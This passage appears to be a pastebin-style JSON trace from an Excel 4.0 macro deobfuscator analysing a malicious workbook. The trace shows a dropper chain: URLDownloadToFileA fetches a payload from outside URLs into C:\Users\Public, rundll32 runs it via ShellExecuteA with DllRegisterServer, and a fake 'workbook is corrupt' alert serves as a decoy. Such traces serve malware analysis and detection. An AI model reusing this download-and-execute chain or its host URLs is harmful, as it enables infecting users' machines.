- "formula": "FORMULA.FILL(\"=\"\"The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.\"\"\",Sheet2!AX33696)"
- },
- {
- "index": 145,
- "sheet": "Sheet2",
- "cell_add": "S36753",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(FS35376)"
- },
- {
- "index": 146,
- "sheet": "Sheet2",
- "cell_add": "FS35376",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=ALERT(R[25098]C[-57])\",Sheet2!DC8598)"
- },
- {
- "index": 147,
- "sheet": "Sheet2",
- "cell_add": "FS35377",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!FI43724)"
- },
- {
- "index": 148,
- "sheet": "Sheet2",
- "cell_add": "FI43724",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=\"\"C:\\Windows\\system32\\rundll32.exe\"\"\",Sheet2!HB36462)"
- },
- {
- "index": 149,
- "sheet": "Sheet2",
- "cell_add": "FI43725",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!DF63884)"
- },
- {
- "index": 150,
- "sheet": "Sheet2",
- "cell_add": "DF63884",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=R[5628]C[-60]&\"\",DllRegisterServer\"\"\",Sheet2!HI15061)"
- },
- {
- "index": 151,
- "sheet": "Sheet2",
- "cell_add": "DF63885",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!AS18031)"
- },
- {
- "index": 152,
- "sheet": "Sheet2",
- "cell_add": "AS18031",
- "status": "EvalStatus.FullEvaluation",
- "formula": "FORMULA.FILL(\"=CALL(\"\"Shell32\"\",\"\"ShellExecuteA\"\",\"\"JJCCCJJ\"\",0,\"\"open\"\",R[-11962]C[6],R[-33363]C[13],0,5)\",Sheet2!GV48424)"
- },
- {
- "index": 153,
- "sheet": "Sheet2",
- "cell_add": "AS18032",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!EK61677)"
- },
- {
- "index": 154,
- "sheet": "Sheet2",
- "cell_add": "EK61677",
- "status": "EvalStatus.FullEvaluation",
- "formula": "CALL(\"urlmon\",\"URLDownloadToFileA\",\"JJCCJJ\",0,\"http://linguy.cn/wp-content/plugins/apikey/wp-front.php\",\"C:\\Users\\Public\\vpySLQ4.html\",0,0)"
- },
- {
- "index": 155,
- "sheet": "Sheet2",
- "cell_add": "EK61678",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!IN30613)"
- },
- {
- "index": 156,
- "sheet": "Sheet2",
- "cell_add": "IN30613",
- "status": "EvalStatus.PartialEvaluation",
- "formula": "FILES(\"C:\\Users\\Public\\vpySLQ4.html\")"
- },
- {
- "index": 157,
- "sheet": "Sheet2",
- "cell_add": "IN30614",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(BW5438)"
- },
- {
- "index": 158,
- "sheet": "Sheet2",
- "cell_add": "BW5438",
- "status": "EvalStatus.FullBranching",
- "formula": "IF(ISERROR(R[25175]C[173]),,RUN(R[3160]C[32]))"
- },
- {
- "index": 159,
- "sheet": "Sheet2",
- "cell_add": "BW5438",
- "status": "EvalStatus.FullEvaluation",
- "formula": "[TRUE]"
- },
- {
- "index": 160,
- "sheet": "Sheet2",
- "cell_add": "BW5439",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!FK56594)"
- },
- {
- "index": 161,
- "sheet": "Sheet2",
- "cell_add": "FK56594",
- "status": "EvalStatus.FullEvaluation",
- "formula": "\"https://esvconnects.com/wp-content/plugins/apikey/wp-front.php\""
- },
- {
- "index": 162,
- "sheet": "Sheet2",
- "cell_add": "FK56595",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(K4558)"
- },
- {
- "index": 163,
- "sheet": "Sheet2",
- "cell_add": "K4558",
- "status": "EvalStatus.FullEvaluation",
- "formula": "CALL(\"urlmon\",\"URLDownloadToFileA\",\"JJCCJJ\",0,\"\"\"https://esvconnects.com/wp-content/plugins/apikey/wp-front.php\"\"\",\"C:\\Users\\Public\\vpySLQ4.html\",0,0)"
- },
- {
- "index": 164,
- "sheet": "Sheet2",
- "cell_add": "K4559",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(AX33696)"
- },
- {
- "index": 165,
- "sheet": "Sheet2",
- "cell_add": "AX33696",
- "status": "EvalStatus.FullEvaluation",
- "formula": "\"The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.\""
- },
- {
- "index": 166,
- "sheet": "Sheet2",
- "cell_add": "AX33697",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!DC8598)"
- },
- {
- "index": 167,
- "sheet": "Sheet2",
- "cell_add": "DC8598",
- "status": "EvalStatus.PartialEvaluation",
- "formula": "ALERT(\"\"\"The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.\"\"\")"
- },
- {
- "index": 168,
- "sheet": "Sheet2",
- "cell_add": "DC8599",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!HB36462)"
- },
- {
- "index": 169,
- "sheet": "Sheet2",
- "cell_add": "HB36462",
- "status": "EvalStatus.FullEvaluation",
- "formula": "\"C:\\Windows\\system32\\rundll32.exe\""
- },
- {
- "index": 170,
- "sheet": "Sheet2",
- "cell_add": "HB36463",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(HI15061)"
- },
- {
- "index": 171,
- "sheet": "Sheet2",
- "cell_add": "HI15061",
- "status": "EvalStatus.FullEvaluation",
- "formula": "C:\\Users\\Public\\vpySLQ4.html,DllRegisterServer"
- },
- {
- "index": 172,
- "sheet": "Sheet2",
- "cell_add": "HI15062",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!GV48424)"
- },
- {
- "index": 173,
- "sheet": "Sheet2",
- "cell_add": "GV48424",
- "status": "EvalStatus.FullEvaluation",
- "formula": "CALL(\"Shell32\",\"ShellExecuteA\",\"JJCCCJJ\",0,\"open\",\"\"\"C:\\Windows\\system32\\rundll32.exe\"\"\",\"C:\\Users\\Public\\vpySLQ4.html,DllRegisterServer\",0,5)"
- },
- {
- "index": 174,
- "sheet": "Sheet2",
- "cell_add": "GV48425",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(AU28892)"
- },
- {
- "index": 175,
- "sheet": "Sheet2",
- "cell_add": "AU28892",
- "status": "EvalStatus.End",
- "formula": "CLOSE(FALSE)"
- },
- {
- "index": 176,
- "sheet": "Sheet2",
- "cell_add": "BW5438",
- "status": "EvalStatus.FullEvaluation",
- "formula": "[FALSE] RUN(Sheet2!DC8598)"
- },
- {
- "index": 177,
- "sheet": "Sheet2",
- "cell_add": "DC8598",
- "status": "EvalStatus.PartialEvaluation",
- "formula": "ALERT(\"The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.\")"
- },
- {
- "index": 178,
- "sheet": "Sheet2",
- "cell_add": "DC8599",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!HB36462)"
- },
- {
- "index": 179,
- "sheet": "Sheet2",
- "cell_add": "HB36462",
- "status": "EvalStatus.FullEvaluation",
- "formula": "\"C:\\Windows\\system32\\rundll32.exe\""
- },
- {
- "index": 180,
- "sheet": "Sheet2",
- "cell_add": "HB36463",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(HI15061)"
- },
- {
- "index": 181,
- "sheet": "Sheet2",
- "cell_add": "HI15061",
- "status": "EvalStatus.FullEvaluation",
- "formula": "C:\\Users\\Public\\vpySLQ4.html,DllRegisterServer"
- },
- {
- "index": 182,
- "sheet": "Sheet2",
- "cell_add": "HI15062",
- "status": "EvalStatus.FullEvaluation",
- "formula": "RUN(Sheet2!GV48424)"
- },
- {
- "index": 183,
- "sheet": "Sheet2",
- "cell_add": "GV48424",
- "status": "EvalStatus.FullEvaluation",
- "formula": "CALL(\"Shell32\",\"ShellExecuteA\",\"JJCCCJJ\",0,\"open\",\"\"\"C:\\Windows\\system32\\rundll32.exe\"\"\",\"C:\\Users\\Public\\vpySLQ4.html,DllRegisterServer\",0,5)"
- },
- {
- "index": 184,
- "sheet": "Sheet2",
- "cell_add": "GV48425",
- "status": "EvalStatus.FullEvaluation",
- "formula": "GOTO(AU28892)"
- },
- {
- "index": 185,
- "sheet": "Sheet2",
- "cell_add": "AU28892",
- "status": "EvalStatus.End",
- "formula": "CLOSE(FALSE)"
- }
- ]
- }
Add Comment
Please, Sign In to add comment